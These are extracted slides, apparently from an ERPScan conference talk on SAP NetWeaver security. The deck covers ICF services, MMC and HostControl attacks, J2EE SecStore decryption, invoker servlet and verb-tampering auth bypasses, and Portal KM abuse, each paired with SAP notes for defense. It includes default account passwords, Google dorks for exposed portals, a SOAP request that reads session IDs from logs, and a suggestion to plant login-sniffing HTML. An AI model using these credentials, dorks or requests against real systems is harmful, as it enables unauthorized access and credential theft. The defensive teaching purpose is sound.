  • 90. More  than  1500  services  which  can  execute  criAcal  funcAonality   •  Every  registered  user  can  get  access  to  them  by  default   –  Most  services  require  authenAcaAon   –  You  can  use  any  of  defaults  to  aPack   –  By  default  all  ICF  services  are  not  assigned  to  any  AuthorizaAon  value   –  ANY  user  can  execute  any  ICF  service    (If  there  is  no  addiAonal  auth  checks  in  code  )   –  There  are  many  criAcal  services  which  can  be  used  by  unprivileged  user   to  escalate  privileges   •  Also  there  are  about  40  anonymous  services  (TransacAon  SICF)       90   ICM  (Cri%cal  services)  
  • 91. Some  examples  of  RFC  funcAons:   •  /sap/public/info                                                                        anonymous  info  about  system   •  /sap/public/icf_info/icr_groups                                                  installed  applicaAons   •  /sap/bc/soap/rfc                                                                                                                      remote  RRF  calls   •  /sap/bc/srt/xip/sap                                                                                                    criAcal  XI  funcAons   •  /sap/bw/Bex                                                                  reading  infoobjects  remotely   •  /sap/bc/bsp/sap/htmlb_samples          test  service  with  vulnerabiliAes   •  /sap/bc/gui/sap/its/webgui                                                                                        webgui  access         91   ICM  (List  of  cri%cal  services)  
  • 92. •  Service  /sap/public/info      -­‐  anonymous  info  about  system   •  Can  be  called  anonymously  without  having  user  rights             92   ICM  (Cri%cal  services)  
  • 93. •  Service  /sap/public/icf_info/icr_urlprefix      installed   applicaAons           93   ICM  (Cri%cal  services)  
  • 94. 94   DEMO  17:   ITS  Infdisclose  by  ERPScan  Pentes)ng  Tool  
  • 95. They  can  be  used  to  run  RFC  funcAons  remotely       95   USER   PASSWORD   Client   SAP*   06071992,  PASS   000,001,066,Custom   DDIC   19920706   000,001,Custom   TMSADM   PASSWORD,  $1Pawd2&   000   SAPCPIC   ADMIN   000,001   EARLYWATCH   SUPPORT   066   Default  creden%als  
  • 96. •  CriAcal  service  sap/bc/soap/rfc     •  RFC  funcAons  are  mapped  to  RFC  authorizaAon  groups   •  Security  of  standard  SOAP  RFC  calls   –  User  must  have  S_RFC  authorizaAon  to  group  of  RFC  funcAons  to   execute  any  call  in  this  group   –  User  must  have  authorizaAons  which  are  defined  inside  RFC  funcAon  to   execute  this  funcAon   –  Many  RFC  funcAons  don’t  have  any  special  authorizaAon  checks  so  every   user  can  call  them  by  SOAP  RFC           96   ICM  (Cri%cal  services)  
  • 97. 97   DEMO  18:   SOAP  RFC’s  by  ERPScan  Pentes)ng  Tool  
  • 98. ICM  Service  Defense:  other   •  Disable  or  configure  customized  HTTP  server  header  for  ICM   (sap  note  1329326)   •  Disable  or  configure  disclosure  of  hidden  version    (sap  note  747818)   •  Disable  services  that  are  not  necessary  (note  1498575)     •  Configure  ICF  authorizaAon    for  enabled  services   •  Change  default  passwords         98  
  • 99. 99   SAP  Management  Console  security  
  • 100. SAP  NetWeaver     100   MMC   Service   SAPHostcontrol  
  • 101. •  MMC  is  installed  by  default  on  port  5<ID>13   •  Used  for  remote  management  of  SAP  servers   •  Command  executed  via  SOAP  interface   •  By  default  SSL  is  not  implemented   •  AdministraAon  password  transmiPed  using  basic  auth  (base64)   •  By  sniffing  this  password  we  can  get  full  control  over  the  server       101   SAP  MMC  -­‐  overview  
  • 102. •  Many  aPacks  can  be  implemented  without  authenAcaAon   •  APacks  can  be  realized  by  sending  SOAP  requests   •  Mostly  it  is  informaAon  disclose  and  denial  of  service   •  Also  OS  command  execuAon       •  All  MMC  aPacks  are  implemented  in  ERPScan  PentesAng  Tool       102   SAP  MMC    a`acks  
  • 103. ERPScan  PentesAng  Tool  modules   •  GET_VERSION_gSOAP.pl   –  Obtaining  version  of  SAP  NetWeaver   •  GET_ENV_gSOAP.pl   –  Obtaining  list  of  SAP  parameters   •  LIST_LOGS_gSOAP.pl   –  Show  the  list  of  log  files  that  can  be  obtained   •  LIST_TRACE_gSOAP.pl   103   SAP  MMC  a`acks    
  • 104. SAP  MMC  a`acks     –  Show  the  list  of  Trace  files  that  can  be  obtained  remotely   •  GET_LOGS_gSOAP.pl   –  Sow  log  file  details   •  GET_TRACE_gSOAP.pl   –  Show  trace  file  details       104  
  • 105. Advanced  MMC  A`acks   •  SAP  MMC  provides  a  common  framework  for  centralized   system  management   •  Allowing  to  see  the  trace  and  log  messages   •  File  userinterface.log  can  store  JSESSIONID  is  trace  is  ON   •  Using  JSESSIONID  from  logs,  aPacker  can  log  into  SAP  Portal     105  
  • 106. Advanced  MMC  A`acks   <?xml version="1.0"?>! <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/ envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">! <SOAP-ENV:Header>! <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/ features/session/">! <enableSession>true</enableSession>! </sapsess:Session>! </SOAP-ENV:Header>! <SOAP-ENV:Body>! <ns1:ReadLogFile xmlns:ns1="urn:SAPControl">! <filename>j2ee/cluster/server0/log/system/userinterface.log</ filename>! <filter/>! <language/>! <maxentries>%COUNT%</maxentries>! <statecookie>EOF</statecookie>! </ns1:ReadLogFile>! </SOAP-ENV:Body>! </SOAP-ENV:Envelope>! 106  
  • 107. 107   DEMO  19:   SAP  MMC  adacks  by  ERPScan  Pentes)ng  Tool  
  • 108. SAP  MMC-­‐  defense   •  Install  Sapnote  927637   •  Install  Sapnote  1439348  –  informaAon  disclosure  in  MMC   •  Install  Sapnote  1469804  -­‐  PotenAal  DOS  in  sapstartsrv   •  Don’t  use  TRACE_LEVEL  =  3  in  producAon  systems   •  Delete  traces   •  Disable  methods  service/protectedwebmethods  =  SDEFAULT   •  Disable  access  from  untusted  IP’s   –  service/h`p/acl_file     –  service/h`ps/acl_file hPp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm       108  
  • 109. 109   SAP  HostControl  security  
  • 110. SAP  NetWeaver     110   MMC   Service   SAPHostcontrol  
  • 111. SAPHostControl   •  Service  listens  on  port  1128/tcp.   •  Very  similar  to  MMC   •  Many  aPacks  can  be  implemented  without  authenAcaAon   •  APacks  can  be  realized  by  sending  SOAP  requests   •  Vulnerability    in  the  GetDataBaseStatus  functon   •  Parameters  are  passed  to  dbmcli  executable   •  SAP  MaxDB    only         111  
  • 112. 112   DEMO  21:   SAP  HostControl  command  injec)on  by   ERPScan  Pentes)ng  Tool  
  • 113. Defense   •  Install  Sapnote  1341333    -­‐  command  injecAon   •  Disable  access  from  untusted  IP’s               113  
  • 114. 114   SAP  NetWeaver  J2EE  security  
  • 115. SAP  NetWeaver     115  
  • 116. J2EE  Engine   •  AutomaAon   of   business   processes   like   ERP,   PLM,   CRM,   SRM   based  ABAP.   •  IntegraAon,   collaboraAon   and   management   based   on   J2ee   engine:   –  SAP  Portal     –  SAP  PI   –  SAP  XI   –  SAP  Mobile  Infrastructure   –  SAP  Solu%on  Manager         116   Many  SAP  systems  don’t  use  ABAP  stack  
  • 117. J2EE  Plamorm  Architecture                 117  
  • 118. J2EE  Plamorm  services   118   Service  Name   Port  Number   Default  Value   Range  (min-­‐max)     Enqueue  server   32NN   3201   3200-­‐3299   HTTP   5NN00   50000   50000-­‐59900   HTTP  over  SSL   5NN01   50001   50001-­‐59901   IIOP   5NN07   50007   50007-­‐59907   IIOP  IniAal  Context   5NN02   50002   50002-­‐59902   IIOP  over  SSL   5NN03   50003   50003-­‐59903   P4   5NN04   50004   50004-­‐59904   P4  over  HTTP   5NN05   50005   50005-­‐59905   P4  over  SSL   5NN06   50006   50006-­‐59906   Telnet   5NN08   50008   50008-­‐59908   LogViewer  control   5NN09   50009   50009-­‐59909   JMS   5NN10   50010   50010-­‐59910  
  • 119. SAP  J2EE  Services   •  General  services   –  SAP  Visual  Admin  (P4)   –  SAP  NetWeaver  HTTP  (webserver)   •  AddiAonal  services   –  SAP  Portal   –  SAP  SDM   –  SAP  SDM  Admin   –  SAP  LogViewer   –  SAP  J2EE  Telnet         119  
  • 120. SAP  Security  storage   120   •  The  SAP  J2EE  Engine  stores  the  database  user  SAP<SID>DB    and   all  configuraAons  in    specific  file   •  The  J2EE  Engine  uses  the  SAP  Java  Cryptography  Toolkit  to   encrypt  the  contents  of  the  secure  store  with  the   tripleDES  algorithm.   •  usrsap<SID>SYSglobalsecuritydataSecStore.proper)es    
  • 123. profit   123   •  We  have  an  encrypted  password   •  We  have  a  key  to  decrypt  it   •  We  got  the  J2EE_ADMIN  and  JDBC  password!  
  • 124. Preven%on   124   •   Install  SAP  note  1619539   •   Restrict  read  access  to  files  SecStore.proper)es  and   SecStore.key  
  • 125. 125   SAP  Visual  Admin  security  
  • 126. SAP  VisualAdmin   126   •  SAP  Visual  Admin  –  remote  tool  for  controlling  J2EE  Engine   •  Use  p4  protocol  –  SAP’s  proprietary   •  By  default  all  data  transmiPed  in  cleartext   •  P4  can  be  configured  to  use  SSL  to  prevent  MITM   •  Passwords  transmiPed  by  some  sort  of  encrypAon     •  In  reality  it  is  some  sort  of  Base64  transform  with  known  key          
  • 128. Insecure  password  encryp%on  in  P4   128   /* 87 */ char mask = 43690; /* 88 */ char check = 21845; /* 89 */ char[] result = new char[data.length + 1]; /* */ /* 91 */ for (int i = 0; i < data.length; + +i) { /* 92 */ mask = (char)(mask ^ data[i]); /* 93 */ result[i] = mask; /* */ } /* 95 */ result[data.length] = (char)(mask ^ check); /* */ /* 97 */ return result;
  • 129. Defense   129   •   Use  SSL  for  securing  all  data  transmišng  between  server-­‐ server  and  server-­‐client  connecAons   hPp://help.sap.com/saphelp_nwpi71/helpdata/de/14/ ef2940cbf2195de10000000a1550b0/content.htm  
  • 130. 130   SAP  NetWeaver  HTTP  security  
  • 131. SAP  Google  dorks   131   SAP  HTTP  Services  can  be  easily  found  in  internet:       •  inurl:/irj/portal •  inurl:/IciEventService sap •  inurl:/IciEventService/IciEventConf •  inurl:/wsnavigator/jsps/test.jsp •  inurl:/irj/go/km/docs/
  • 132. Informa%on  disclose   132   •  Kernel  or  applicaAon  release  and  SP  version.        ERPSCAN-­‐11-­‐023,ERPSCAN-­‐11-­‐027,  DSECRG-­‐00208     •  ApplicaAon  logs  and  traces        DSECRG-­‐00191,DSECRG-­‐00232     •  Username        ERPSCAN-­‐00231     •  Internal  port  scanning,  Internal  User  bruteforce        ERPSCAN-­‐11-­‐032,DSECRG-­‐00175    
  • 135. User  disclose  ERPSCAN-­‐00231   135                
  • 136. Internal  Port  scan  ERPSCAN-­‐11-­‐032   Host  is  not  alive   136   Port  closed   HTTP  port   SAP  port  
  • 137. Preven%on   137   •       Install  SAP  notes  1548548,1545883,1503856,948851,  1545883   •       Update  the  latest  SAP  notes  every  month   •       Disable  unnecessary  applicaAons  
  • 138. Authen%ca%on   138   •  Declara%ve  authen%ca%on:     -  The  Web  container  (J2EE  Engine)  handles  authenAcaAon   -  Example:    J2EE  Web  applicaAons     •  Programma%c  authen%ca%on.     -  Components  running  on  the  J2EE  Engine  authenAcate  directly  against   the  User  Management  Engine  (UME)  using  the  UME  API.     -  Example:  Web  Dynpro,  Portal  iViews        
  • 139. Declara%ve  authen%ca%on   139   WEB.XML  file  is  stored  in  WEB-­‐INF  directory  of  applicaAon  root.     <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web- resource-name> <url-pattern>/admin/*</url-pattern> <http-method>DELETE</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>
  • 140. Invoker  servlet   140   •  FuncAonality  for  rapid  calling  servlets  by  their  class  name     •  Possible  to  call  any  servlet  from  applicaAon  even  if  it  is  not   declared  in    WEB.XML     •  Call  it  directly  by  using  /servlet/  directory  and  name  of  the  class   •  Like  this  /servlet/com.sap.admin.CriAcal.AcAon  
  • 141. Invoker  servlet  auth  bypass   141   <servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet- class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>
  • 142. Preven%on   142     •             Install  latest  updates   •             Disable  feature  by  changing  the  value  of  the  “EnableInvokerServletGlobally”   property  of  the  servlet_jsp  service  on  the  server  nodes  to  “false”.     •           To  enable  invoker  servlet  for  some  applicaAons  check  SAP  note  1445998   •           For  SAP  NetWeaver  Portal,  see  SAP  Note  1467771    
  • 143. 143   DEMO  24:   SAP  NetWeaver  J2EE  invoker  servlet   unauthorized  file  read  
  • 144. 144   DEMO  25:   SAP  NetWeaver  J2EE  invoker  servlet  file  read   +  secstore  decrypt  
  • 145. Verb  Tampering   145   <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web- resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint> What  if  we  will  use  HEAD  instead  of  GET  ?  
  • 146. Verb  Tampering  example:  Auth  bypass   •  AdministraAve    interface  for  managing  J2EE  engine  (CTC)   •  Can  be  accessed  remotely     •  Can  run  user  management  acAons     -  Create  new  users   -  Assign  them  to  any  Roles   -  Execute  OS  command  on  the  server  side   -  Create  RFC  DesAnaAons   -  Read  RFC  DesAnaAons  info     146   It  means  that  a`acker  get  full  access  to  SAP  and  OS  
  • 147. 147   DEMO  26:   SAP  NetWeaver  J2EE  verb  tampering  user   crea)on  
  • 148. Preven%on   148   PrevenAon:   •  Install  SAP  note  1503579,1616259   •  Scan  applicaAons  using  ERPScan  WEB.XML  check  tool  or   manually   •  Secure  WEB.XML  by  deleAng  all    <hPp-­‐method>   •  Disable  applicaAon  that  are  not  necessary  
  • 149. 149   SAP  NetWeaver  Portal  Security    
  • 150. SAP  Portal   •  Point  of  web  access  to  SAP  systems   •  Point  of  web  access  to  other  corporate  systems   •  Way  for  aPackers  to  get  access  to  SAP  from  the  Internet   •  ~1000  Portals  in  the  world,  according  to  Shodan   •  ~200  Portals  in  the  world  according  to  Google     150  
  • 151. Portal  issues   •  SAP  implements  SSO  using  the  Header  Variable  Login  Module     151   credenAals   check   okay   cookie   APacker   header_auth   cookie  
  • 152. Knowledge  Management   •  One  of  Portal  modules  is  SAP  Knowledge  Management.   •  KM  is  addiAonal  funcAonality   •  It  is  designed  to  aggregate  all  user  documents  and  create  a   knowledge  base   •  Like  Sharepoint   •  An  aPacker  can:   –  Get  read  access  to  criAcal  documents   –  Create  phishing  pages  which  will  steal  logins  and  passwords.   152  
  • 153. KM  Documents   •  KM  by  default  can  be  found  here  /irj/go/km/navigaAon   •  SomeAmes  Guest  user  can  have  access  to  KM   •  You  can  test  listed  folders:   –  /irj/go/km/navigation/userhome/ –  /irj/go/km/navigation/docs/ –  /irj/go/km/navigation/documents/Public Documents/ –  /irj/go/km/navigation/Entry Points/Public Documents/ 153  
  • 154. KM  Documents   •  SomeAmes  it  is  possible  to  put  documents  into  shared  folders   •  Like  this  folder  /irj/go/km/docs/documents/Public  Documents/   •  You  can  upload  HTML  file  with  login  sniffer  or  cookie  sniffer   154  
  • 155. SAP  Security   155   Ques)ons?  
  • 156. We   devote   aden)on   to   the   requirements   of   our   customers   and   prospects,  and  constantly  improve  our  product.  If  you  presume  that   our  scanner  lacks  a  par)cular  func)on,  you  can  e-­‐mail  us  or  give  us   a  call.  We  will  be  glad  to  consider  your  sugges)ons  for  the  next   releases  or  monthly  updates.   156   web:  www.erpscan.com         e-­‐mail:  info@erpscan.com,  sales@erpscan.com   Conclusion